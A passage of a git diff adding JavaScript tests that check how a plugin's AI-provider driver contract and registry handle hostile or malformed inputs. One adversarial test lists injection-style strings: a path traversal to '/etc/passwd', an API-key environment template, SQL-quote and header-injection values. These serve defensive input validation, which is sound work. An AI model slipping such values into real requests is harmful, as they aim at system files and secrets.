ProviderDriverV1 closed envelope/capability contract +// (P17): P05 13-field capability alignment, exact ChildEnvelopeV1 proof, +// typed results, honest feature/posture failures, and process-local +// status transitions. No provider transport is configured here. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_DISPOSITIONS, + DRIVER_OPERATION_SCHEMA_IDS, + DRIVER_OPERATIONS, + DRIVER_REQUEST_KEYS, + DRIVER_RESULT_KEYS, + DRIVER_RESULT_REQUIRED_KEYS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertCapabilityRequirementV1, + assertDriverFeatureV1, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, + describeProviderDriverContractV1, + validateDriverCancelRequestV1, + validateDriverCancelResultV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverLaunchResultV1, + validateDriverPreflightRequestV1, + validateDriverPreflightResultV1, + validateDriverReconcileRequestV1, + validateDriverReconcileResultV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + DRIVER_SUITE_BASE_SHA, + DRIVER_SUITE_RUN_ID, + buildDriverContractFixtureV1, + driverDeclaration, + driverResultFor, + scriptedProviderDriverV1, +} from './provider-driver-contract-suite.mjs'; + +const fixture = buildDriverContractFixtureV1(); +const declaration = driverDeclaration('dsh'); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, overrides = {}) { + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...overrides, + }; + for (const [key, value] of Object.entries(overrides)) { + if (value === undefined) delete request[key]; + } + return request; +} + +function resultFor(operation, disposition, overrides = {}) { + return driverResultFor(operation, requestFor(operation), disposition, overrides); +} + +function detailForPreflight(disposition) { + return disposition === 'blocked' + ? { detail_code: 'model_unattested', detail_message: 'Provider cannot attest the requested model.' } + : {}; +} + +function detailForLaunch(disposition) { + return disposition === 'not_sent' + ? { detail_code: 'transport_unavailable', detail_message: 'No prompt reached the provider.' } + : {}; +} + +const REQUEST_VALIDATORS = { + preflight: validateDriverPreflightRequestV1, + launch: validateDriverLaunchRequestV1, + reconcile: validateDriverReconcileRequestV1, + cancel: validateDriverCancelRequestV1, +}; + +test('the provider driver contract is closed, versioned, and P05-aligned', () => { + assert.equal(PROVIDER_DRIVER_VERSION, 1); + assert.deepEqual([...DRIVER_OPERATIONS], ['preflight', 'launch', 'reconcile', 'cancel']); + assert.equal(CAPABILITY_RECORD_ALLOWED_KEYS.length, 13); + assert.equal(DRIVER_REQUEST_KEYS.length, new Set(DRIVER_REQUEST_KEYS).size); + for (const keySet of [DRIVER_REQUEST_KEYS, DRIVER_RESULT_KEYS, DRIVER_RESULT_REQUIRED_KEYS]) { + assert.ok(Object.isFrozen(keySet)); + } + const description = describeProviderDriverContractV1(); + assert.equal(description.schema, PROVIDER_DRIVER_SCHEMA_ID); + assert.equal(description.capability_schema_id, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID); + assert.equal(description.capability_record_keys.length, 13); + assert.deepEqual(description.relaunch_operations, []); + assert.deepEqual([...description.transports], []); + assert.deepEqual(description.dispositions, { + preflight: [...DRIVER_DISPOSITIONS.preflight], + launch: [...DRIVER_DISPOSITIONS.launch], + reconcile: [...DRIVER_DISPOSITIONS.reconcile], + cancel: [...DRIVER_DISPOSITIONS.cancel], + }); + assert.deepEqual(describeProviderDriverContractV1(), description); +}); + +test('driver declarations project the complete P05 13-field capability record', () => { + const validated = validateDriverDeclarationV1(declaration); + for (const key of CAPABILITY_RECORD_ALLOWED_KEYS) { + assert.ok(Object.hasOwn(validated.capability, key), `missing ${key}`); + } + assert.equal(validated.capability.schema, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID); + assert.equal(validated.capability.provider, 'dsh'); + assert.equal(validated.capability.same_session_reply, 'unsupported_unresolved_attention'); + assert.equal(validated.capability.dispatch_certainty, 'uncertain_after_spawn'); + assert.equal(validated.capability.replay_posture, 'never_replay'); + assert.match(validated.capability.source_digest, /^sha256:[0-9a-f]{64}$/u); + assert.ok(Object.isFrozen(validated)); + assert.ok(Object.isFrozen(validated.capability.artifact_kinds)); +}); + +test('four-field capability stubs and cross-field mismatches fail closed', () => { + const stub = { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + provider: 'grok', + same_session_reply: 'live_session_reply', + dispatch_certainty: 'confirmed_launch', + workspace_semantics: 'local_managed_worktree', + }, + features: declaration.features, + }; + expectCode(() => validateDriverDeclarationV1(stub), 'invalid_capability_revision'); + + expectCode(() => validateDriverDeclarationV1(driverDeclaration('grok', {}, { + same_session_reply: 'unsupported_unresolved_attention', + })), 'capability_reply_mismatch'); + expectCode(() => validateDriverDeclarationV1(driverDeclaration('dsh', {}, { + dispatch_certainty: 'confirmed_launch', + })), 'capability_dispatch_certainty_mismatch'); +}); + +test('every operation accepts its exact compiled-envelope proof request', () => { + for (const operation of DRIVER_OPERATIONS) { + const view = REQUEST_VALIDATORS[operation](requestFor(operation)); + assert.equal(view.operation, operation); + assert.equal(view.envelope.run_id, DRIVER_SUITE_RUN_ID); + assert.equal(view.envelope.repository.base_sha, DRIVER_SUITE_BASE_SHA); + assert.equal(view.child_envelope_digest, fixture.child_envelope_digest); + assert.match(view.operation_digest, /^sha256:[0-9a-f]{64}$/u); + assert.ok(Object.isFrozen(view.request)); + } +}); + +test('requests carry their own operation schema and reject reuse across operations', () => { + for (const operation of DRIVER_OPERATIONS) { + for (const [other, validate] of Object.entries(REQUEST_VALIDATORS)) { + if (other === operation) { + assert.doesNotThrow(() => validate(requestFor(operation))); + continue; + } + expectCode(() => validate(requestFor(operation)), 'schema_mismatch'); + } + } +}); + +test('a digest-only launch is forbidden and other operations still demand bytes', () => { + expectCode(() => validateDriverLaunchRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'digest_only_launch_denied'); + expectCode(() => validateDriverReconcileRequestV1({ + schema: DRIVER_OPERATION_SCHEMA_IDS.reconcile, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'missing_key'); +}); + +test('results use the closed disposition vocabulary and P05 honesty rules', () => { + for (const disposition of DRIVER_DISPOSITIONS.preflight) { + assert.doesNotThrow(() => validateDriverPreflightResultV1( + resultFor('preflight', disposition, detailForPreflight(disposition)), + requestFor('preflight'), declaration, + )); + } + for (const disposition of DRIVER_DISPOSITIONS.launch) { + if (disposition === 'dispatched') { + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', disposition, detailForLaunch(disposition)), + requestFor('launch'), declaration, + ), 'capability_dispatch_certainty_mismatch'); + continue; + } + assert.doesNotThrow(() => validateDriverLaunchResultV1( + resultFor('launch', disposition, detailForLaunch(disposition)), + requestFor('launch'), declaration, + )); + } + const grok = driverDeclaration('grok'); + const grokEnvelope = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + execution: { provider: 'grok', model: 'grok-4' }, + }], + }, fixture.assignment_id); + const grokRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + envelope_text: grokEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(grokEnvelope).digest, + }; + assert.doesNotThrow(() => validateDriverLaunchResultV1( + driverResultFor('launch', grokRequest, 'dispatched'), grokRequest, grok, + )); + expectCode(() => validateDriverReconcileResultV1( + resultFor('reconcile', 'settled'), requestFor('reconcile'), declaration, + ), 'invalid_format'); +}); + +test('bounded detail pairs follow the per-disposition rules', () => { + expectCode(() => validateDriverPreflightResultV1( + resultFor('preflight', 'blocked'), requestFor('preflight'), declaration, + ), 'missing_key'); + expectCode(() => validateDriverPreflightResultV1( + resultFor('preflight', 'ready', { detail_code: 'why', detail_message: 'no' }), + requestFor('preflight'), declaration, + ), 'detail_pair_denied'); + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', 'not_sent'), requestFor('launch'), declaration, + ), 'missing_key'); + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', 'dispatch_uncertain', { detail_code: 'why', detail_message: 'no' }), + requestFor('launch'), declaration, + ), 'detail_pair_denied'); +}); + +test('results must echo the exact child identity proven by the request', () => { + for (const override of [ + { run_id: 'other-run' }, + { assignment_id: 'other-lane' }, + { lane_index: 1 }, + { base_sha: 'ffffffffffffffffffffffffffffffffffffffff' }, + ]) { + expectCode(() => validateDriverLaunchResultV1( + resultFor('launch', 'dispatch_uncertain', override), requestFor('launch'), declaration, + ), 'receipt_identity_mismatch'); + } +}); + +test('the bound surface enforces preflight, no-replay, and feature gates', () => { + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), declaration); + expectCode(() => bound.launch(requestFor('launch')), 'not_preflighted'); + assert.equal(bound.preflight(requestFor('preflight')).disposition, 'ready'); + assert.equal(bound.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + expectCode(() => bound.launch(requestFor('launch')), 'replay_denied'); + assert.equal(bound.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(bound.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); +}); + +test('blocked preflight cannot launch and not_sent cannot be reconciled', () => { + const blocked = bindProviderDriverV1(scriptedProviderDriverV1({ preflight: 'blocked' }), declaration); + assert.equal(blocked.preflight(requestFor('preflight')).disposition, 'blocked'); + expectCode(() => blocked.launch(requestFor('launch')), 'blocked_lane_denied'); + + const notSent = bindProviderDriverV1( + scriptedProviderDriverV1({ launch: 'not_sent' }), declaration, + ); + notSent.preflight(requestFor('preflight')); + assert.equal(notSent.launch(requestFor('launch')).disposition, 'not_sent'); + expectCode(() => notSent.reconcile(requestFor('reconcile')), 'not_dispatched'); + notSent.preflight(requestFor('preflight')); + assert.equal(notSent.launch(requestFor('launch')).disposition, 'not_sent'); +}); + +test('unsupported cancellation, restart, live progress, and events fail closed', () => { + const unsupported = driverDeclaration('dsh', { + cancellation: 'unsupported', + detailed_events: 'unsupported', + live_progress: 'unsupported', + restart: 'unsupported', + }); + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), unsupported); + bound.preflight(requestFor('preflight')); + bound.launch(requestFor('launch')); + expectCode(() => bound.cancel(requestFor('cancel')), 'unsupported_capability'); + expectCode(() => bound.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'unsupported_capability'); + expectCode(() => bound.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + 'unsupported_capability'); + expectCode(() => bound.reconcile(requestFor('reconcile', { include: ['detailed_events'] })), + 'unsupported_capability'); + expectCode(() => assertDriverFeatureV1(unsupported, 'live_progress'), 'unsupported_capability'); +}); + +test('supported restart_reattach is reconcile-only and never a relaunch', () => { + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), declaration); + bound.preflight(requestFor('preflight')); + bound.launch(requestFor('launch')); + const receipt = bound.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(receipt.disposition, 'terminal'); + expectCode(() => bound.launch(requestFor('launch')), 'replay_denied'); +}); + +test('P05 capability requirements fail closed without fallback', () => { + expectCode(() => assertCapabilityRequirementV1(declaration, { + same_session_reply: 'live_session_reply', + }), 'capability_reply_mismatch'); + expectCode(() => assertCapabilityRequirementV1(declaration, { + dispatch_certainty: 'confirmed_launch', + }), 'capability_dispatch_certainty_mismatch'); + const capability = assertCapabilityRequirementV1(declaration, { + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + }); + assert.equal(capability.provider, 'dsh'); +}); + +test('handlers are captured at bind time so later mutation cannot swap an operation', () => { + const driver = scriptedProviderDriverV1(); + const bound = bindProviderDriverV1(driver, declaration); + driver.launch = () => { + throw new Error('a swapped handler must never run'); + }; + bound.preflight(requestFor('preflight')); + assert.equal(bound.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + assert.ok(Object.isFrozen(bound)); +}); + +test('buildDriverOperationRequestV1 packages only proven envelope pairs', () => { + for (const operation of DRIVER_OPERATIONS) { + const request = buildDriverOperationRequestV1(operation, fixture.envelope); + assert.equal(request.schema, DRIVER_OPERATION_SCHEMA_IDS[operation]); + assert.equal(request.child_envelope_digest, fixture.child_envelope_digest); + assert.ok(Object.isFrozen(request)); + } + expectCode(() => buildDriverOperationRequestV1('relaunch', fixture.envelope), 'unknown_operation'); + const tamperedEnvelope = JSON.parse(JSON.stringify(fixture.envelope)); + tamperedEnvelope.write_scope.push('extra/**'); + expectCode(() => buildDriverOperationRequestV1('launch', tamperedEnvelope), 'envelope_shape_mismatch'); +}); + +test('stale envelope correlation and provider slot mismatch fail closed', () => { + const bound = bindProviderDriverV1(scriptedProviderDriverV1(), declaration); + bound.preflight(requestFor('preflight')); + bound.launch(requestFor('launch')); + const otherEnvelope = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + prompt: 'A different prompt for the same lane identity.', + }], + }, fixture.assignment_id); + const otherRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.reconcile, + version: PROVIDER_DRIVER_VERSION, + envelope_text: otherEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(otherEnvelope).digest, + }; + expectCode(() => bound.reconcile(otherRequest), 'stale_identity_denied'); + expectCode( + () => bindProviderDriverV1(scriptedProviderDriverV1(), driverDeclaration('grok')) + .preflight(requestFor('preflight')), + 'provider_slot_mismatch', + ); +}); + +test('driver shape validation accepts exactly the four own-function operations', () => { + const driver = scriptedProviderDriverV1(); + const summary = assertProviderDriverV1(driver); + assert.deepEqual(summary.operations, [...DRIVER_OPERATIONS]); + expectCode(() => assertProviderDriverV1({ ...driver, retry: () => ({}) }), 'invalid_surface'); + expectCode(() => validateDriverCancelResultV1( + resultFor('cancel', 'cancel_confirmed', { schema: DRIVER_RESULT_SCHEMA_IDS.reconcile }), + requestFor('cancel'), declaration, + ), 'schema_mismatch'); +}); diff --git a/plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs new file mode 100644 index 0000000..3e43d72 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs @@ -0,0 +1,273 @@ +// P23 provider registry — adversarial coverage. Hostile providers, +// selections, and options must fail closed, content-free, and without +// running any caller code; inventory must stay deterministic and frozen +// under prior hostility; P22 must never become composable. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { createCursorLocalTransportStub } from './fixtures/r1-cursor-local-transport.mjs'; +import { fakeDshTransport } from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { + PROVIDER_REGISTRY_SLOTS, + composeProviderDriverV1, + describeProviderRegistryV1, + isRegistrySlotV1, + registryEntryV1, + registrySlotsV1, + requireRegistrySlotV1, + resolveRegistrySelectionV1, +} from '../mcp/v3/provider-registry.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; + +const PRISTINE_DESCRIPTION = describeProviderRegistryV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +test('accessor options never run their getters for any provider decision', () => { + let transportRuns = 0; + let decoyRuns = 0; + const bag = {}; + Object.defineProperty(bag, 'transport', { + enumerable: true, + get() { + transportRuns += 1; + return {}; + }, + }); + Object.defineProperty(bag, 'decoy', { + enumerable: true, + get() { + decoyRuns += 1; + return {}; + }, + }); + expectCode(() => composeProviderDriverV1('grok', bag), 'unknown_key', + 'the closed transport_property bag rejects foreign keys before descriptors are read'); + expectCode(() => resolveRegistrySelectionV1({ + provider: 'dsh', + model: 'stealth/ox-alpha', + get extra() { + throw new Error('getter must not run'); + }, + }), 'unknown_key'); + assert.equal(transportRuns, 0); + assert.equal(decoyRuns, 0); +}); + +test('accessor transports are refused without invoking the accessor', () => { + let runs = 0; + const bag = {}; + Object.defineProperty(bag, 'transport', { + enumerable: true, + get() { + runs += 1; + return {}; + }, + }); + for (const slot of ['grok', 'cursor-cloud']) { + expectCode(() => composeProviderDriverV1(slot, bag), 'accessor_property_denied'); + } + assert.equal(runs, 0); +}); + +test('proxies, exotic prototypes, arrays, primitives, and functions are denied', () => { + const exotic = Object.assign(Object.create({ inherited() {} }), { transport: {} }); + const hostileBags = [ + new Proxy({ transport: {} }, {}), + exotic, + [], + [1, 2], + 'transport', + 7, + true, + () => {}, + Symbol('x'), + 10n, + ]; + for (const slot of ['grok', 'cursor-cloud', 'dsh', 'cursor-local']) { + for (const bag of hostileBags) { + assert.throws(() => composeProviderDriverV1(slot, bag), + (error) => error instanceof RunContractV1Error, + `${slot} must reject the hostile bag with a typed denial`); + } + for (const absent of [null, undefined]) { + expectCode(() => composeProviderDriverV1(slot, absent), 'invalid_type', + `${slot} requires an options record`); + } + } +}); + +test('missing, non-enumerable, and symbol-keyed transports fail closed per slot', () => { + expectCode(() => composeProviderDriverV1('grok', {}), 'missing_key'); + expectCode(() => composeProviderDriverV1('cursor-cloud', {}), 'missing_key'); + const hidden = {}; + Object.defineProperty(hidden, 'transport', { enumerable: false, value: {} }); + expectCode(() => composeProviderDriverV1('grok', hidden), 'non_enumerable_property_denied'); + const symboled = { transport: {} }; + symboled[Symbol('hidden')] = 1; + expectCode(() => composeProviderDriverV1('cursor-cloud', symboled), 'symbol_key_denied'); + expectCode(() => composeProviderDriverV1('dsh', symboled), 'symbol_key_denied'); + expectCode(() => composeProviderDriverV1('cursor-local', symboled), 'symbol_key_denied'); +}); + +test('options_bag slots forward faithfully so accepted factories keep denying', () => { + // The registry adds no reinterpretation: adapter denials surface verbatim. + let getterRuns = 0; + const accessorBag = { + get workspace_mode() { + getterRuns += 1; + return 'managed'; + }, + transport: fakeDshTransport().port, + }; + expectCode(() => composeProviderDriverV1('dsh', accessorBag), + 'invalid_object', 'the DSH factory owns its own option closure'); + assert.equal(getterRuns, 0, 'registry forwarding itself never reads values'); + expectCode(() => composeProviderDriverV1('dsh', new Proxy({ + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }, {})), 'proxy_denied'); + expectCode(() => composeProviderDriverV1('cursor-local', new Proxy({}, {})), 'proxy_denied'); + expectCode(() => composeProviderDriverV1('cursor-local', Object.create({ + inherited() {}, + }, { transport: { value: createCursorLocalTransportStub('happy').transport, enumerable: true } })), + 'invalid_type'); +}); + +test('hostile provider strings never reach codes, paths, or messages', () => { + const payloads = [ + '', + '${process.env.API_KEY}', + '../../etc/passwd', + 'grok\x00admin', + 'A'.repeat(5000), + '🦛'.repeat(300), + 'grok"or"1"="1', + 'cursor-local\nHTTP/1.1', + ]; + for (const payload of payloads) { + try { + requireRegistrySlotV1(payload); + assert.fail('expected typed denial'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.notEqual(error.code, payload); + assert.ok(!error.code.includes(payload) && !error.path.includes(payload) + && !error.message.includes(payload), 'content-free denial required'); + } + expectCode(() => resolveRegistrySelectionV1({ provider: payload, model: 'm' }), + 'unknown_provider'); + expectCode(() => composeProviderDriverV1(payload, { transport: {} }), 'unknown_provider'); + } +}); + +test('prototype members and forged keys can never resolve as slots or entries', () => { + for (const forged of [ + 'toString', 'constructor', 'hasOwnProperty', 'isPrototypeOf', '__proto__', + 'propertyIsEnumerable', 'toLocaleString', 'valueOf', + ]) { + assert.equal(isRegistrySlotV1(forged), false); + expectCode(() => requireRegistrySlotV1(forged), 'unknown_provider'); + expectCode(() => registryEntryV1(forged), 'unknown_provider'); + expectCode(() => composeProviderDriverV1(forged, { transport: {} }), 'unknown_provider'); + } +}); + +test('selection records reject proxies, accessors, symbols, sparse arrays, and cycles', () => { + let getterRuns = 0; + const accessorSelection = {}; + Object.defineProperty(accessorSelection, 'provider', { + enumerable: true, + get() { + getterRuns += 1; + return 'dsh'; + }, + }); + accessorSelection.model = 'stealth/ox-alpha'; + expectCode(() => resolveRegistrySelectionV1(accessorSelection), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + expectCode(() => resolveRegistrySelectionV1(new Proxy({ + provider: 'dsh', model: 'm', + }, {})), 'proxy_denied'); + + const symboled = { provider: 'dsh', model: 'm' }; + symboled[Symbol('extra')] = 1; + expectCode(() => resolveRegistrySelectionV1(symboled), 'symbol_key_denied'); + + const sparse = []; + sparse[3] = 'x'; + expectCode(() => resolveRegistrySelectionV1(sparse), 'invalid_type'); + + const forgedProto = { provider: 'dsh', model: 'm' }; + Object.defineProperty(forgedProto, '__proto__', { value: {}, enumerable: true }); + expectCode(() => resolveRegistrySelectionV1(forgedProto), 'unknown_key'); + + const cyclic = { model: 'm' }; + cyclic.provider = cyclic; + expectCode(() => resolveRegistrySelectionV1(cyclic), 'unknown_provider', + 'a cyclic alias is not a closed slot and never walks values'); +}); + +test('exported snapshots are frozen and detached from gating authority', () => { + assert.ok(Object.isFrozen(PROVIDER_REGISTRY_SLOTS)); + assert.throws(() => PROVIDER_REGISTRY_SLOTS.push('future-harness'), TypeError); + const slotsCopy = registrySlotsV1(); + assert.ok(Object.isFrozen(slotsCopy)); + assert.throws(() => slotsCopy.push('x'), TypeError); + // Mutating a returned entry fails and cannot poison later lookups. + const entry = registryEntryV1('grok'); + assert.throws(() => { + entry.adapter_schema_id = 'codex-co-engineer.evil.v1'; + }, TypeError); + assert.equal(registryEntryV1('grok').adapter_schema_id, + PRISTINE_DESCRIPTION.entries.grok.adapter_schema_id); +}); + +test('inventory stays deterministic after a gauntlet of hostile failures', () => { + for (const hostile of ['nope', 42, null]) { + try { + composeProviderDriverV1(hostile, undefined); + } catch { + // expected typed denials; ignore which code fired + } + try { + composeProviderDriverV1('grok', new Proxy({}, {})); + } catch { + // expected + } + try { + resolveRegistrySelectionV1({ provider: 'dsh', model: Symbol('x') }); + } catch { + // expected + } + } + assert.deepEqual(describeProviderRegistryV1(), PRISTINE_DESCRIPTION, + 'failed hostilities must leave the closed inventory byte-identical'); +}); + +test('the P22 template surface can never be selected or composed as a provider', () => { + for (const pseudo of [ + 'future-harness', 'future_harness', 'template', 'conformance', 'harness', + 'codex-co-engineer.future-harness-template.v1', + ]) { + expectCode(() => requireRegistrySlotV1(pseudo), 'unknown_provider'); + expectCode(() => composeProviderDriverV1(pseudo, { identity: {}, declaration: {} }), + 'unknown_provider'); + expectCode(() => resolveRegistrySelectionV1({ provider: pseudo, model: 'm' }), + 'unknown_provider'); + } + const description = describeProviderRegistryV1(); + assert.deepEqual([...description.slots], [...PRISTINE_DESCRIPTION.slots]); +}); + +test('registry exports are frozen function surfaces', () => { + assert.ok(Object.isFrozen(composeProviderDriverV1)); + assert.ok(Object.isFrozen(describeProviderRegistryV1)); + assert.ok(Object.isFrozen(resolveRegistrySelectionV1)); + assert.ok(Object.isFrozen(requireRegistrySlotV1)); +}); diff --git a/plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs b/plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs new file mode 100644 index 0000000..cffe9ae --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs @@ -0,0 +1,243 @@ +// P23 integration proof: every accepted provider driver (P18 Grok ACP, +// P19 Cursor Local, P20 DSH ACPX, P21 Cursor Cloud) composes behind the +// closed registry and drives its accepted lifecycle with exact identity +// echo. The P22 future harness stays mock/conformance evidence only. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + bindCursorCloudDriverV1, + createCursorCloudDriverV1, + describeCursorCloudDriverV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { + createDshApxDriverV1, + describeDshApxDriverV1, +} from '../mcp/v3/dsh-acpx-driver.mjs'; + +import { + bindGrokAcpDriverV1, + createGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + PROVIDER_REGISTRY_SLOTS, + REGISTRY_SELECTION_RULE, + composeProviderDriverV1, + describeProviderRegistryV1, + registryComposeFunctionV1, +} from '../mcp/v3/provider-registry.mjs'; +import { createFutureHarnessDriverTemplateV1 } from '../mcp/v3/future-harness.mjs'; +import { runFutureHarnessConformanceKitV1 } from '../mcp/v3/provider-driver-conformance.mjs'; +import { + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; +import { + dispatchLane, + dshEnvelope, + fakeDshTransport, +} from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, +} from './fixtures/r1-grok-acp-transport.mjs'; +import { + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; +import { + futureHarnessTemplateOptionsV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +const GROK_FIXTURE = buildGrokDriverFixtureV1(); +const CLOUD_FIXTURE = buildCursorCloudDriverFixtureV1(); +const LOCAL_FIXTURE = buildCursorLocalFixtureV1(); +const DSH_FIXTURE = dshEnvelope('stealth/ox-alpha'); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, + message); +} + +function requestFor(fixture, operation, extras = {}) { + return { + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...extras, + }; +} + +function assertIdentityEcho(receipt, fixture, label) { + assert.equal(receipt.run_id, fixture.run_id, `${label} run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${label} assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${label} lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${label} base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${label} child_envelope_digest`); +} + +test('every registered slot composes the exact accepted factory object', () => { + assert.equal(registryComposeFunctionV1('grok'), bindGrokAcpDriverV1); + assert.equal(registryComposeFunctionV1('cursor-local'), createCursorLocalDriverV1); + assert.equal(registryComposeFunctionV1('cursor-cloud'), bindCursorCloudDriverV1); + assert.equal(registryComposeFunctionV1('dsh'), createDshApxDriverV1); + // The raw accepted creators stay reachable through the same authority. + const description = describeProviderRegistryV1(); + assert.deepEqual(Object.keys(description.entries).sort(), + ['cursor-cloud', 'cursor-local', 'dsh', 'grok']); +}); + +test('the composed Grok ACP driver runs the accepted lifecycle with identity echo', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = composeProviderDriverV1('grok', { transport }); + const preflight = driver.preflight(requestFor(GROK_FIXTURE, 'preflight')); + assert.equal(preflight.disposition, 'ready'); + assertIdentityEcho(preflight, GROK_FIXTURE, 'grok preflight'); + const launch = driver.launch(requestFor(GROK_FIXTURE, 'launch')); + assert.equal(launch.disposition, 'dispatched', + 'launch confirms only after the authoritative acknowledgement'); + assertIdentityEcho(launch, GROK_FIXTURE, 'grok launch'); + assert.equal(driver.reconcile(requestFor(GROK_FIXTURE, 'reconcile')).disposition, 'terminal'); + const cancel = driver.cancel(requestFor(GROK_FIXTURE, 'cancel')); + assert.equal(cancel.disposition, 'already_terminal'); + assertIdentityEcho(cancel, GROK_FIXTURE, 'grok cancel'); +}); + +test('the composed Cursor Local driver runs the accepted lifecycle with one spawn and ack', () => { + const stub = createCursorLocalTransportStub('happy'); + const facade = composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration(), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: stub.transport, + }); + assert.equal(facade.provider, 'cursor-local'); + const driver = facade.driver; + const preflight = driver.preflight(requestFor(LOCAL_FIXTURE, 'preflight')); + assert.equal(preflight.disposition, 'ready'); + assertIdentityEcho(preflight, LOCAL_FIXTURE, 'cursor-local preflight'); + const launch = driver.launch(requestFor(LOCAL_FIXTURE, 'launch')); + assert.equal(launch.disposition, 'dispatched'); + assertIdentityEcho(launch, LOCAL_FIXTURE, 'cursor-local launch'); + assert.equal(stub.state.spawnCalls, 1); + assert.equal(stub.state.sends, 1); + assert.equal(stub.state.acks, 1); + const observed = driver.reconcile(requestFor(LOCAL_FIXTURE, 'reconcile')); + assert.equal(observed.disposition, 'in_progress'); + const cancelled = driver.cancel(requestFor(LOCAL_FIXTURE, 'cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); +}); + +test('the composed DSH ACPX driver keeps honest post-spawn uncertainty', () => { + const facade = composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }); + const lane = dispatchLane(facade.driver, DSH_FIXTURE); + assert.equal(lane.preflight.disposition, 'ready'); + assertIdentityEcho(lane.launch, DSH_FIXTURE, 'dsh launch'); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + expectCode(() => lane.launchAgain(), 'replay_denied', + 'an uncertain launch is never replayed through the registry-composed driver'); + const observed = lane.reconcile({ include: 